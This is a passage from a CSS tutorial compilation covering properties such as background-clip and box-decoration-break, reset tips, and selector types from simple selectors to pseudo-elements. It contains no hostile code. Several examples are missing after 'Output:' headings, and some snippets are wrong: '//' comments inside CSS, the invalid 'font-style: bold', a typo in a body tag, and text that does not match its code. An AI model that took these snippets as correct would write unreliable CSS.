unset: changes all the properties of the element or the element’s parent to their parent
value if they are inheritable or to their own value if not
.-reset {
all: initial;
}
background-clip
The background-clip property defines the area of the element where the background is
applied. You can make the background go underneath its border or fill only the area of its
contents.
border-box: (default) allows background extent to the outer edge of the border
content-box: the background is clipped to the content box of the element
padding-box: the background is clipped to the outer edge of the element’s padding, so
it’s applied to the content and the padding, but not underneath the border
text: the background is clipped to the foreground text.
<div class="container">
<div class="clip-text">
Hello World
</div>
</div>
.clip-text {
background: url(http://i.giphy.com/fsULJFFGv8X3G.gif);
background-size: cover;
background-position: center;
-webkit-background-clip: text;
color: transparent; // set to transparent, otherwise won't see the
background
width: 300px;
height: 100px;
box-sizing: border-box;
font-size: 58px;
font-weight: bold;
text-align: center;
line-height: 100px;
flex-shrink: 0;
}
box-decoration-break
This property specifies how the element’s background, padding, border, box-shadow,
margin, and clip are applied when it’s wrapped onto multiple lines. If we have text
wrapped on multiple lines, it would normally increase the element’s height,
however, box-decoration-break can apply the styling to each line separately, instead of
the whole element.
clone: every fragment of the element receives styling, box shadows and padding are
applied to each fragment individually
slice: the element is rendered as if the element is not fragmented
Note: you can only use box-decoration-break on inline elements. According to MDN you
can only use it on Firefox and Chrome inline elements, but I tested it and current
browsers show different results. It works on Firefox and Chrome 54, Opera 41 and Safari
10 with the -webkit- prefix.
<div class="container">
<div class="wrap">
<span class="text -clone">
box-decoration-break property specifies how the element's background,
padding, border, box-shadow, margin and clip are applied when it's wrapped
into multiple lines.
</span>
</div>
</div>
.-clone {
-webkit-box-decoration-break: clone;
box-decoration-break: clone;
}
.text {
font-size: 16px;
line-height: 2em;
background-image: linear-gradient(-144deg, #6AEEC6 0%, #698D28 100%);
border-radius: 4px;
padding: 4px 18px;
box-sizing: border-box;
}
.wrap {
max-width: 320px;
margin: 1em auto;
}
@supports
This CSS at-rule gives you the ability to check if the browser supports
certain properties (or property/value combinations) before using them.
@supports (display: grid) {
.container {
display: grid;
}
}
@supports (image-rendering) {
img {
image-rendering: pixelated;
}
}
You can multiple properties like this:
@supports (display: grid) and ((image-rendering: crisp-edges) or (image-
rendering: pixelated)) {
}
vh, vw, vmin, vmax
These values are used for sizing things relative to the viewport size. While width is
alwasys relative to the parent container, vh or vw always use viewport size as a basis.
For a browser window that has a viewport 1280x655px, 1vh is equal to 6.55 pixels, 1vw is
equal to 12.8pixels, vmin is 6.55 pixels (smallest of the two values), and vmax is 12.8
pixels (largest of the two values).
white-space
This property defines how the white space inside the element is handled.
normal: collapse new lines, collapse spaces and tabs, text wrap
nowrap: collapse new lines, collapse spaces and tabs, text nowrap
pre: preserve new lines, preserve spaces and tabs, text nowrap
pre-wrap: preserve new lines, preserve spaces and tabs, text wrap
pre-line: preserve new lines, collapse spaces and tabs, text wrap
word-break
word-spacing
The equivalent of letter-spacing, but for words! You can increase (or decrease) the
amount of space between words. The standard value for this property isnormal, whiuch
uses the default whitespace: 0.25em.
writing-mode
The writing-mode property defines whether the text is laid out horizontally or vertically
also the direction.
CSS resets help enforce style consistency across different browsers with a clean slate for
styling elements. You can use a CSS reset library like Normalize, et al., or you can use a
more simplified reset approach:
*,
*::before,
*::after {
box-sizing: border-box;
margin: 0;
padding: 0;
}
Now elements will be stripped of margins and padding, and box-sizing lets you manage
layouts with the CSS box model.
Note: If you follow the Inherit box-sizing tip below you might opt to not include the box-
sizing property in your CSS reset.
Inherit box-sizing
html {
box-sizing: border-box;
}
*,
*::before,
*::after {
box-sizing: inherit;
}
This makes it easier to change box-sizing in plugins or other components that leverage
other behavior.
When resetting an element's properties, it's not necessary to reset each individual
property:
button {
background: none;
border: none;
color: inherit;
font: inherit;
outline: none;
padding: 0;
}
You can specify all of an element's properties using the all shorthand. Setting the value to
unset changes an element's properties to their initial values:
button {
all: unset;
}
/* remove border */
.nav li:last-child {
border-right: none;
}
...use the :not() pseudo-class to only apply to the elements you want:
.nav li:not(:last-child) {
border-right: 1px solid #666;
}
You can check if a font is installed locally before fetching it remotely, which is a good
performance tip, too.
@font-face {
font-family: "Dank Mono";
src:
/* Full name */
local("Dank Mono"),
/* Postscript name */
local("Dank-Mono"),
/* Otherwise, download it! */
url("//...a.server/fonts/DankMono.woff");
}
code {
font-family: "Dank Mono", system-ui-monospace;
}
You don't need to add line-height to each <p>, <h*>, et al. separately. Instead, add it
to body:
body {
line-height: 1.5;
}
a:focus,
button:focus,
input:focus,
select:focus,
textarea:focus {
box-shadow: none;
outline: #000 dotted 2px;
outline-offset: .05em;
}
It may have a strange name but using the universal selector (*) with the adjacent sibling
selector (+) can provide a powerful CSS capability:
* + * {
margin-top: 1.5em;
}
In this example, all elements in the flow of the document that follow other elements will
receive margin-top: 1.5em.
.slider {
max-height: 200px;
overflow-y: hidden;
width: 300px;
}
.slider:hover {
max-height: 600px;
overflow-y: scroll;
}
The element expands to the max-height value on hover and the slider displays as a result
of the overflow.
Tables can be a pain to work with. Try using table-layout: fixed to keep cells at equal
width:
.calendar {
table-layout: fixed;
}
When working with column gutters you can get rid of nth-, first-, and last-child hacks by
using flexbox's space-between property:
.list {
display: flex;
justify-content: space-between;
}
.list .person {
flex-basis: 23%;
}
Display links when the <a> element has no text value but the href attribute has a link:
a[href^="http"]:empty::before {
content: attr(href);
}
Note: This tip may not be ideal for accessibility, specifically screen readers. And
copy/paste from the browser doesn't work with CSS-generated content. Proceed with
caution.
a[href]:not([class]) {
color: #008000;
text-decoration: underline;
}
Now links that are inserted via a CMS, which don't usually have a class attribute, will
have a distinction without generically affecting the cascade.
After setting the base font size at the root (html { font-size: 100%; }), set the font size for
textual elements to em:
h2 {
font-size: 2em;
}
p {
font-size: 1em;
}
Then set the font-size for modules to rem:
article {
font-size: 1.25rem;
}
aside .module {
font-size: .9rem;
}
Now each module becomes compartmentalized and easier to style, more maintainable,
and flexible.
This is a great trick for a custom user stylesheet. Avoid overloading a user with sound
from a video that autoplays when the page is loaded. If the sound isn't muted, don't show
the video:
video[autoplay]:not([muted]) {
display: none;
}
The type font size in a responsive layout should be able to adjust with each viewport. You
can calculate the font size based on the viewport height and width using :root:
:root {
font-size: calc(1vw + 1vh + .5vmin);
}
Now you can utilize the root em unit based on the value calculated by :root:
body {
font: 1rem/1.6 sans-serif;
}
Some form controls do not inherit typographical styles by default. To avoid mobile
browsers (iOS Safari, et al.) from zooming in on HTML form elements when
a <select> drop-down is tapped, and to mitigate styling inconsistencies across browsers,
set the font rule to inherit:
input,
button,
select,
textarea {
font: inherit;
}
br + br {
display: none;
}
If you have HTML elements that are empty, i.e., the content has yet to be set either by a
CMS or dynamically injected (e.g., <p class="error-message"></p>) and it's creating
unwanted space on your layout, use the :empty pseudo-class to hide the element on the
layout.
:empty {
display: none;
}
Note: Keep in mind that elements with whitespace aren't considered empty, e.g., <p
class="error-message"> </p>.
CSS selectors help target the elements on a web page to apply CSS stylings. They are
required to eliminate repetitive styling and enjoy greater control over defined HTML
elements.
For example, let’s consider a simple scenario where a web application has 100 elements
on the page that display information in textual form. In the initial coding phase, the
developer can write all the styling code inline to each element.
But what if a requirement changes to increase the font size one point larger in the
future? Making a small change a hundred times is not feasible when the web applications
are so complex already.
CSS selectors provide various mechanisms to handle the selection procedure. This may
include targeting HTML elements directly or working with one or more identifiers to
refine the selection. For instance, if there are three < p > elements on a page, we can
target two of them using the same ID as follows:
Selectors are part of the CSS rule structure and are written at the beginning of the rule:
The above image shows some CSS rules applied to all the elements with the my-css-
rule class attached. Similarly, we can apply a more complex selector structure to target
more than one class or different identifiers, including those with relationships. The
developers can use as many selectors as they wish on a web page.
CSS selectors can be applied differently to target elements. Having knowledge about
them will help in choosing the best selector according to the requirement and designing
the code concisely.
Simple Selectors
The simple selector is the most direct form of selector that targets HTML elements with
identifiers such as id, class, and others that can be attached to an HTML tag on the page.
Broadly, they can be categorized as follows:
p {
// CSS styling
}
#uniqueID {
// CSS styling
}
.uniqueClass {
// CSS styling
}
* {
// CSS styling
}
In addition, the developer can combine multiple identifiers or types into one single CSS
rule:
This is sometimes termed a Group Selector and is categorized inside a simple selector.
However, there is no such categorization from W3C as it considers grouping as a general
characteristic of the concept of selectors.
In CSS, we can use the following combinators that give rise to their subsequent selectors.
Descendant Selector (” “)
Since < strong > is encapsulated inside the < p > tag, < strong > is a child of < p >. We
can apply a descendent selector to target only strong elements as follows:
p strong {
color: red;
}
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<style>
p strong {
color: red;
}
</style>
<meta charset="utf-8">
<title>Defining Descendant Selectors</title>
Output:
In the output, only those parts of < p > element are colored that are inside < strong
> and a child of < p >.
However, while in the above example, all < strong > are a child of < p >, it is important
to note that descendant includes children and other branched elements as
well (such as grand-child and so on) until the tag is closed. So, the following modification
in the code:
CSS:
<style>
div strong {
color: red;
}
</style>
HTML:
Will color both the < strong > elements into red.
The developers can also use multiple descendant selectors to create a hierarchy and
target more refined elements as follows:
CSS:
<strong>CSS:</strong>
<style>
div h2 strong {
color: red;
}
</style>
HTML:
Output:
However, this approach can make the CSS rule a bit complex, which can hurt the
readability.
The child selector targets only the direct children of the parent element, unlike the
descendant selector, which targets all the matched elements recursively. Due to this
property, a child selector is also referred to as a direct descendant selector.
The code from the above section that targeted all the elements can be repeated with the
child selector as follows:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<style>
div > strong {
color: red;
}
</style>
<meta charset="utf-8">
<title>Defining Descendant CSS Selectors</title>
Output:
Similar to the descendants selectors, here, too, the developers can use multiple child
combinators to match specific elements.
CSS:
<style>
div > h2 > strong {
color: red;
}
</style>
HTML:
Output:
Attribute Selector ( [ ] )
The attribute selector matches the elements that have a specific attribute attached to
them. The attribute name is enclosed inside square brackets, followed by the CSS rule to
be applied.
The following code defines three < p > elements where two have unique IDs attached to
them, and one has a class.
<body">
<center>
<div>
<p id = "#myID"> I have an ID. </p>
<p id = "#myID2"> I too, have an ID. </p>
<p class = "myClass"> I have a class. </p>
</div>
</center>
</body>
Attach a CSS rule to only those < p > elements that have an ID attached:
<style>
[id] {
color: red;
}
</style>
Output:
The attribute part can also take a value to match only those elements that have that
attribute, and that attribute has that particular value. In the example above, both the < p
> elements that contain the ID attribute have different IDs. Specifying one of the IDs will
affect only that particular element:
<style>
[id = "#myID2"] {
color: red;
}
</style>
Output:
Other types of options available in the attribute selector are:
Attribute with a word: [attribute~=”value”] can match the attribute that contains a
specific word in the value.
Attribute with an exact word: [attribute|=”value”] can match the attribute that
contains the value word as its value as the only option or followed by a hyphen. For
instance, [attribute|=”margin”] can match the attributes whose value
contains margin, margin-top, margin-bottom, etc.
Attribute with starting value: [attribute^=”value”] can match the attributes whose
value starts with the word value.
Attribute with ending value: [attribute$=”value”] can match the attributes whose
value ends with the word value.
The attribute selector used in the above style scans the complete page without filtering
any HTML tag for matching. For instance, [id = “#myID”] will match < p id =”#myID”
> as well as < div id = “#myID” >.
This could only be the case sometimes, and a need may arise to target only a certain type
of tags for certain CSS rules. For instance, in the above example, if the text is mostly
contained in the < p > tag, developers will target CSS rules just for the < p > tag. This
can be achieved by putting the tag name outside of the attribute bracket as follows:
p[id = “#myID”]
This will target only < p > tags that have id as #myID.
Without tag:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<style>
[id = "#myID"] {
color: red;
}
</style>
<meta charset="utf-8">
<title>Defining Descendant Selectors</title>
Output:
With tag:
<style>
p[id = "#myID"] {
color: red;
}
</style>
Output:
A popular question especially among new web developers is regarding the case
sensitivity of the attribute selector. The answer to this depends on the type of attribute
used. Specific tags are considered case-sensitive in HTML docs such as class, id, etc.,
while most are case-insensitive. If the attribute is a case-insensitive attribute, the value
will also be case-insensitive and vice-versa.
With that mentioned, if need be, developers can change this behavior using i and s before
the closing bracket to determine case-insensitive and case-sensitive respectively.
a[href$=".com" i] {
font-style: bold;
}
Also, note that the attributes defined outside of HTML specification are also case-
sensitive.
Pseudo-class Selector ( : )
A pseudo-class selector applies the defined CSS rule on an element when it is in a
particular state in DOM, based on history, interaction, time-dependent modules, and a lot
more. The regular usage and popularity of pseudo-class selectors have contributed to
adding new elements to this list regularly. Hence, the list is long, and it is advised to go
through it on the W3C official website.
A pseudo-class selector uses ( : ) to separate the anchor and the state where the anchor is
the element whose state we are observing. A popular example of using a pseudo-class
selector is through CSS hover, which determines when the mouse cursor is above the
anchor element.
CSS:
<style>
a:hover {
color: red;
}
</style>
HTML:
<center>
<div>
<p><b><a href="#" target="_blank">This is a link. Hover to change
color.</a></b></p>
</div>
</center>
Output:
Pseudo-class selector implementation also shows an important aspect of holding the state
and reverting back to its original state when the state is reverted back. In the example
above, the link reverts back to the original color when the hover state is changed.
Another important thing to note in pseudo-class selectors is the order in which they are
applied on the same anchor element can alter the usual behavior. For instance, visited
and :link showcases this conflict.
Pseudo-element Selector ( :: )
The pseudo-element selector affects a certain part of an element rather than affecting the
complete element as in the pseudo-class. It helps eliminate a lot of repetitive HTML code
that would have included their own CSS designs.
CSS:
<style>
p::first-letter {
color: red;
}
</style>
HTML:
<center>
<div>
<p>Lorem ipsum text. </p>
<br>
<p> Lorem ipsum text.</p>
</div>
</center>
Output:
This is a common scenario when a web application is mostly textual, such as news
websites, blogs, etc.
Pseudo-class selectors and pseudo-element selectors were used the same way with
single-colons up until CSS2. Developers can still see old code running in older
versions of IE with the same notation today and can use the same notation also.
However, the earlier notation is only supported for ::before, ::after, ::first-
line, and ::first-letter. Rest needs to be implemented through double colon only.
Developers can use only one pseudo-element in a selector. Using more than one, such
as p::first-letter:hover is not allowed.
The above condition is not true and vice-versa. A developer can apply the pseudo-
element on any particular state, including those changed by the pseudo-class selector.
Therefore, p:hover::first-letter is perfectly fine and will apply the CSS rule to the first
letter only when it is in the hover state.
The ::before and ::after help in inserting additional content, therefore, they can only
be used with elements that accept child elements. For
instance, ::before and ::after cannot work with < img >.
The following code helps understand the pseudo-element and pseudo-class selector using
multiple selectors:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<style>
p {
font-size: 20px;
}
div[id = "#note_announcement"] {
border: 2px solid black;
background-color: #636469;
color: white;
font-weight: bold;
}
div[id = "#note_announcement"] > p {
font-size: 25px;
}
p::first-letter {
font-size: 30px;
color: white;
}
h1:hover{
color: #46499c;
}
</style>
<meta charset="utf-8">
<title>Sample pseudo-selector page!!</title>
Output:
Notice that with just five lines of HTML code, a lot of CSS logic could be implemented if
selectors are used. Other popular pseudo-element selectors, apart from the ones used in
this guide, are:
::first-line: Matches the first line of the target element and applies CSS styling to it.
This can only be done on block-level elements.
::file-selector-button: Matches the button with the type attribute set to file.
::part(): matches any element that contains the part attribute in its declaration.
::placeholder: Matches the placeholder text inside an < input > or < textarea > tag.
::selection: Matches those parts of the web page that are highlighted by the user
through actions such as mouse drag.
::target-text: Matches the scrolled text on browsers that support text fragments.
This list is updated as requirements arise (such as new members ::spelling-error).
Developers are always advised to be updated with W3C and new versions of CSS.
The first in our list of CSS selectors cheat sheet is the Simple selectors. Simple selectors
in CSS do not include any hierarchical wraps or too much logic in the CSS. CSS simple
selectors just locate the element through the identifier and implement the style.
The easiest CSS selector to apply is to catch the “tag” from the HTML and implement the
styling on it. “Tags” are the predefined HTML tags, and with CSS selectors, you can
catch them all with just a single line. In the following example, we selected the tag “H1”
from the HTML code and fixed its text color as red and font size as 50px.
<style>
h1 {
color: red;
font-size: 50px;
}
</style>
As a web developer, you would find using the CSS simple selectors a lot of the time
because the team sometimes settles on a few things such as the style of all the headings
or how the paragraph looks. CSS simple selectors can catch all of them and help you
stylize them in no time.
CSS ID Selector
This one is the most popular CSS selector in our CSS selectors cheat sheet which is used
in styling the web page. The “id” selector determines the “id” of the element which helps
in the styling. IDs are a great way to tag along with various elements and then use CSS
selectors or JavaScript to select those elements and perform a few operations. For
example, if you want a different color for a section or page, you can use the same id for
all the elements and implement the functions.
CSS Selector used with IDs starts with the symbol “#” followed by the styling:
<style>
#my_id {
color: red;
font-size: 50px;
}
</style>
<p id = "my_id">CSS Selector</p>
The above code will change the color and font size of all the elements tagged with the id
name “my_id”.
In addition, while using some framework such as Bootstrap, we get pre-defined classes
for specific elements such as “large buttons”. We can just apply CSS via class selector,
and all the large buttons will be changed to the defined setting. In such cases, the CSS
class selector becomes faster than the CSS ID selectors.
<style>
.my_class {
color: red;
font-size: 50px;
}
</style>
<p class = "my_class">CSS Class Selector</p>
As shown in the above example of our CSS selectors cheat sheet, the “.” symbol
represents a class name in CSS. In the above code, the class “my_class” is used to select
the elements.
A lot of the time, multiple elements will have the same styling configurations on a web
page. So, instead of copy-pasting the same configuration multiple times for different IDs
or classes, we can group them and let the web page know that these elements will share
some common styling.
In the following example in our CSS selectors cheat sheet, my_id and p are combined to
color them red.
</style>
</head>
<body>
<center>
<h1 id = "my_id">I am a heading</h1>
<p>I am a paragraph</p>
</center>
</body>
</html>
Output
To group multiple selectors, just separate them with a comma as shown in the above
code. The output above is taken out with the help of the LambdaTest a cloud testing
platform that has 3000+ browsers and browser versions which helps you perform
browser compatibility testing at scale, without worrying about the local infrastructure,
A website becomes unique by its unique features and signature style. An important part
of establishing a signature, as an example, is the font type. Websites use unique and
different font types as users often remember the website with these small features. When
they see the same font anywhere else, that reminds them of your website. Hence, mission
accomplished!
Such ambitious thinking involves changing the font type (or any other property) of the
complete website. We cannot implement the property everywhere on the web page.
Anyways, we try to reduce the repetitive behaviour with CSS Selector and not increase
them. Therefore, CSS developers have thought about a wonderful property called
universal selector that selects everything on the web page, i.e. it is universal. This has
made its place in our CSS selectors cheat sheet.
<style>
* {
color: red;
}
</style>
<h1 id = "my_id">I am a heading</h1>
<p>I am a paragraph</p>
The above selector in our CSS selectors cheat sheet selects every element and colors it
red on the web page.
The CSS class selector has a specific selector property to satisfy the use case
requirement when the developer needs to select only a particular element rather than all
with the same class. For example, I just want my “p” tag to be coloured red, but I have
other elements too with the same class name and tag name defined. In such situations,
we can use a specific class selector that uses specific elements of the same class.
In the following example, all the elements are tagged with the class name “my_class”, but
only the H1 will be coloured red.
<style>
h1.my_class {
color: red;
}
</style>
<h1 class = "my_class">I am a heading</h1>
<p class = "my_class">I am a paragraph</p>
The next type of selectors in our CSS selectors cheat sheet is CSS combinator selectors.
As the name suggests, the CSS combinator selectors are a combination of more than one
selector or, in general, more than one simple selector that is described in the above
section. With the CSS combinator selectors, we can define relationships between two
simple selectors and select only the elements that satisfy the relationship.
The first one in this CSS selectors list is CSS descendant selector works on the
descendants of the specified element. The descendant selector is written by separating
two elements with space where the second element is required to be the descendant of
the first element. The relationship “descendant” symbolises that the element should be
inside another element (before the first element tag has been closed). When such a
relationship is found, the defined style is applied to the descendant element.
<style>
div p {
color: red;
}
</style>
<div>
<h1>I am a heading</h1>
<p>I am a paragraph</p>
</div>
Here, only the content inside the “p” tag will turn red since it is a descendant of the “div”
tag.
The CSS child selector is another selector in our CSS selectors cheat sheet which is a
little bit similar to the CSS descendant selector but with this selector to work, the second
element should be a child of the first element. The child selector is defined with the “>”
symbol which symbolizes that the second element is the child of the first element. So,
what is the difference between being a descendant and being a child? The following
example in our CSS selectors list will help you understand both the concept:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Web Template</title>
<style>
div > h3 {
color: red;
}
</style>
</head>
<body>
<br><br>
<center>
<div>
<h3>I am a child</h3>
<h3>I am a child</h3>
<span><h3>I am a descendant</h3></span>
<h3>I am a child</h3>
</div>
</center>
</body>
</html>
Output
The third “p” tag is inside the “div” tag but not directly (as it is inside the span tag).
Therefore, the third “p” is not a child of the “div” tag, whereas it is a child of the span
tag. Hence the third “p” tag does not get the red colour.
The next selector in our CSS selectors list is the CSS adjacent sibling selector. The CSS
adjacent sibling selector selects the element, which is directly followed by the first
element. All the other elements sequences are ignored, and only the directly
followed element is considered. Note that the element has to be “followed” and not be
“inside” the element. The CSS adjacent sibling selector is symbolized by the symbol “+”.
In the following example, we check for the adjacent “h3” tag inside the “div” tag.
<style>
div + h3 {
color: red;
}
</style>
<div>
<h3>I am not adjacent</h3>
<h3>Me neither</h3>
</div>
<h3>I am adjacent</h3>
Run the above code and observe which one of the H3 content gets red in the browser.
The CSS general sibling selector selects all the siblings, i.e. whenever the element is
followed instead of the first sibling which happens in the CSS adjacent sibling selector.
The CSS general sibling selector is just the generalised form of the adjacent sibling
selector in CSS. The following code uses the same snippet as above, tweaking its
selector.
</style>
</head>
<body>
<br><br>
<center>
<div>
<h3>I Am Not Adjacent</h3>
<h3>Me Neither</h3>
</div>
<h3>I am adjacent</h3>
<h3>Me Too</h3>
</center>
</body>
</html>
Output
As seen in the above image, all the siblings of the “div” tag named “p” are colored red.
Note that sibling, children and descendant here references the document object model of
the webpage.
CSS pseudo-class selectors are popular ones in our CSS selectors cheat sheet used while
styling the components with conditions. Pseudo-classes get hold of the elements on
particular states rather than without any condition as done by the CSS simple selectors.
For example, the pseudo-class hover selects the elements only when the mouse is moved
over to the element. Pseudo-classes give us more control and enable us to style elements
quickly without taking any help from JavaScript.
The first pseudo-class in our CSS pseudo-class selector list is the link selector. The link
selector applies the styling to the unvisited link of the element we attach this class to. To
use the link pseudo-class selector, the “link” keyword is used along with the pseudo-class
symbol “:”. The following example uses the link pseudo-class selector on the anchor tag.
<style>
a:link {
color: red;
}
</style>
<a href = "www.google.com">This is an unvisited link</a>
The above link will appear red until visited. Note that the “href” attribute plays a vital
role in the link pseudo-class. Even though the anchor tag is used for the link will not be
recognized without the “href” tag. Hence, the pseudo-class selector will not work.
The link pseudo-class selector works on the unvisited links. When we click the same link,
the visited flag is turned on with respect to that link so the user can know that he has
already visited it. The visited pseudo-class selector applies the styling to the visited links.
The keyword used here is “visited”, along with the “:” symbol for pseudo-class.
<style>
a:visited {
color: red;
}
</style>
<a href = "https://www.google.com" target="_blank">This is a link</a>
The link will turn red after the user has clicked it.
The hover pseudo-class selector works when the mouse is hovered over to the element to
which the selector is attached. CSS hover pseudo-class brings out some unique styling
elements such as changing the background colour etc. The hover pseudo-class is
identified by the keyword “hover” and the “:” symbol for pseudo-class.
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Web Template</title>
<style>
.my_div {
background-color: blue;
width: 300px;
height: 300px;
}
.my_div:hover {
background-color: red;
}
</style>
</head>
<body>
<br><br>
<center>
<div class="my_div"></div>
</center>
</body>
</html>
Output
As you can see in the above example of our CSS selectors cheat sheet, the div box uses
the hover tag to change its background from blue to red on a mouse hover.
Next in our CSS selectors list is the CSS active pseudo-class selector. The active pseudo-
class selector selects the element when selecting the element with the mouse (the mouse-
click). The active pseudo-class selector is identified with the “active” keyword along with
the pseudo-class symbol “:”.
<style>
.my_div {
background-color: blue;
width: 300px;
height: 300px;
}
.my_div:active {
background-color: red;
}
</style>
<div class="my_div"></div>
Run the above-tweaked code to notice the difference between the hover and active
pseudo-classes.
Another pseudo-class selector in the CSS selectors cheat sheet is the CSS checked
selector. The checked selector selects the element when it is in the “checked” state.
Since a “checked” state is required, it works on the checkbox and radio buttons only. The
keyword used is “checked” along with the “:” symbol. The following code changes the
colour of the text when the checkbox is checked.
<style>
input[type = checkbox]:checked + label{
color: red;
}
</style>
<input type="checkbox" class="my_button" value="Radio Button">
<label for = "check_button">Radio Button</label>
Note: The above code uses the CSS attribute selector, which will be discussed in the next
section.
The code changes the text colour from black to red. A popular use case of using the CSS
checked selector is for building up the image gallery with thumbnails that can be viewed
only when the user checks the thumbnail. Such examples can be seen on e-Commerce
websites.
The first-child CSS class selector selects the first child among all the occurrences of the
element. The first-child pseudo-class is identified by the term “first-child” along with the
“:” symbol. In the following example of our CSS selectors cheat sheet, notice how the first
“p” child gets selected on the web page with the following code:
<style>
p:first-child{
color: red;
}
</style>
The first child is selected and turned red in the above example. A more clearer picture
can be drawn by looking at the following example that uses CSS selector groups and the
first-child pseudo-class together:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Web Template</title>
<style>
ul li:first-child{
color: red;
}
</style>
</head>
<body>
<br><br>
<ul>
<li>I am the first-child</li>
<li>Am I?</li>
<li>Am I?</li>
<li>
<ul>
<li>I am the first-child</li>
<li>Am I?</li>
<li>Am I?</li>
</ul>
</li>
</ul>
</body>
</html>
Output
Notice how two “li” tags get the red colour as they both are the first “li” after a “ul” tag.
Hence, they both are first-child. These operations are good for heading related purposes
and scenarios where the first element denotes what is being followed.
The following table denotes some of the more common pseudo-classes in our CSS
selectors list. You can try them and mix them to make colourful and logical web pages.
In addition to our list of pseudo-classes and ultimately our CSS selectors list, we can
combine them with the CSS classes to narrow down our selections and make our
selectors work less in finding the elements. We can select the specific classes tagged
along with the HTML tags and use pseudo-class selectors on them with this combination.
In the example below, I have assigned a class to one of the div tags to select later using
the selectors.
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Web Template</title>
<style>
div {
background-color: blue;
width: 300px;
height: 300px;
}
div.my_div:hover{
background-color: red;
}
</style>
</head>
<body>
<br><br>
<center>
<div></div>
<br><br>
<div class="my_div"></div>
</center>
</body>
</html>
Output
It’s easier and convenient than applying multiple classes and multiple selectors to
achieve our objectives.
Similar to the pseudo-classes, our CSS selectors list contains another similar property
called pseudo-element selectors. With pseudo-classes, we select the complete element
and apply the styling to it. In pseudo-elements, instead of the complete element, we grab
a specific part of the element and apply the styling on only those parts. They are
accommodating in certain situations, such as inserting some element before a particular
tag etc.
Pseudo element selectors are identified by double colon instead of one as we used in
pseudo-class. This notation was introduced in the CSS specification Level 3 to distinguish
pseudo-elements from pseudo-classes. Before CSS 3, both of them used single colon
notification. Let’s see some important pseudo-elements used in CSS selectors.
The first and one of the most commonly used pseudo-element selector in our CSS
selectors list is the “first-line” selector. There is no science involved in decoding what this
selector does. When we need to style the first line of the element, we use the “first-line”
selector. The keyword used is “first-line” along with the “::” symbol of pseudo-element.
<style>
h2::first-line{
color: green;
}
</style>
<h2>Your Text</h2>
The above code will turn the first line’s colour into green. Note that the “first-line”
pseudo-element is applicable only on the block-level elements on the web page. As a
developer, you can make use of the following HTML or CSS properties while working
with the “first-line”:
font properties
color properties
background properties
word-spacing
letter-spacing
text-decoration
vertical-align
text-transform
line-height
clear
Next in our CSS selectors cheat sheet is The “first-letter” pseudo-element CSS selector
which selects the first letter of the element we tag it to. The first-letter element then
applies the defined styling to that letter. The “first-letter” pseudo-selector is very
common in article writing. We often see the first letter being bigger and bolder with a
different colour or any other such styling. This can be achieved through the keyword
“first-letter” along with the pseudo-element symbol “::”.
Output
The above code magnifies the first element and changes its colour.
Like the “first-line” pseudo-element, the “first-letter” element can also be applied only to
the block-level elements. As a web developer, the following properties can be used along
with the “first-letter” pseudo-element:
font properties
color properties
background properties
margin properties
padding properties
border properties
text-decoration
vertical-align (only if “float” is “none”)
text-transform
line-height
float
clear
The CSS, “before” pseudo-element selector, adds up the content before the target
element. The content can be as per the UI styling approved by the team. An example can
be to use the inverted commas before starting the heading in HTML. A similar thing can
be noticed with the below example in our CSS selectors cheat sheet:
<style>
p::before{
content: "««";
font-size: 25px;
}
</style>
The above code will insert «« before the start of every paragraph.
As the CSS “before” element works placing the content before the target element, the
CSS after pseudo-element places the content after the target element. The following code
demonstrates the before and after pseudo-element used in a paragraph.
The above code uses some styling elements for a start and the end of a paragraph. CSS
“before” and “after” pseudo-elements are very common and very subtle in their usage.
Often, you will see the elements but won’t notice anything special because it’s used too
commonly today.
Adding an image before the start of an element or some design elements or even
applying inverted commas all work great with the after and before CSS pseudo-element.
There are hundreds of use cases for the “before” and “after” pseudo-elements in CSS. If
you have used something unique, we call for such designs in the comment section that
are unique and help other people think creatively.
Next in our CSS selectors cheat sheet is the CSS marker pseudo-element that selects the
marker element from the web page and applies the defined styling onto it. The marker
elements are the bullet points, numbered points or any other “li” element. The following
code will mark the markers into the red colour:
<style>
ul li::marker{
color: red;
}
</style>
<ul>
<li>The first element</li>
<li>The second element</li>
<li>The third element</li>
</ul>
The above code will turn the bullet points into a red colour. Since we are constrained to
use the marker only on a selected few elements, we are also constrained to the things we
can do with the marker elements. The below-given list will enlighten you with the
properties that can be used with the marker CSS pseudo-element.
The font-properties.
The color properties.
Direction, unicode-bidi and text-combine-upright properties.
The white-space property.
The content property.
All animation and transition properties.
The marker property was also introduced in the CSS level 3 specification. If you are
working with CSS level 1 or 2 (which is not recommended), this property might give you
a bit of trouble.
The CSS selection pseudo-element selector applies the styling to that part of the target
element that has been selected by the user. They are a good candidate when there is too
much content to let the user focus on a few words while reading. Thus making it an
important addition to our CSS selectors cheat sheet list. The following code will colour
the selected text improving the text readability.
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Web Template</title>
<style>
p{
font-size: 30px;
}
p::selection{
color: red;
font-size: 50px;
}
</style>
</head>
<body>
<br><br>
<br><br>
<p>Your Text</p>
</body>
</html>
Output
The above code turns the selected text to red. As you can see, the selection CSS pseudo-
element selector works with the text; there are very few properties that can support this
selector. The properties that can be used with the selection CSS pseudo-element are as
follows:
text-decoration property.
text-shadow property.
All the color properties including background-color.
stroke-color, fill-color and stroke-width.
cursor properties.
outline properties.
While working with the colours in the selection pseudo-element, keep in mind the
accessibility and W3C guidelines on contrasts. Since many devices are associated with
the internet, browser compatibility testing and maintaining a well-constructed page is an
add-on.
Pseudo-elements in CSS can also be combined with the CSS classes similar to the
pseudo-classes discussed above. This gives more control to the developers on the element
and a little more flexibility. With this combination, you can go all creative and bring out a
unique design on the web page.
Output
Only the “p” tag with the defined class is selected and coloured red in the above code.
Note that you can also use multiple pseudo-elements targets to the same element like
first-letter and first-line etc. Multiple elements work with pseudo-elements.
Next is the CSS Attribute Selectors in our CSS selectors cheat sheet. Web developers are
quite familiar with the attributes used during the construction of a web page. Attributes
help us provide specific instructions to the web elements and mould their working
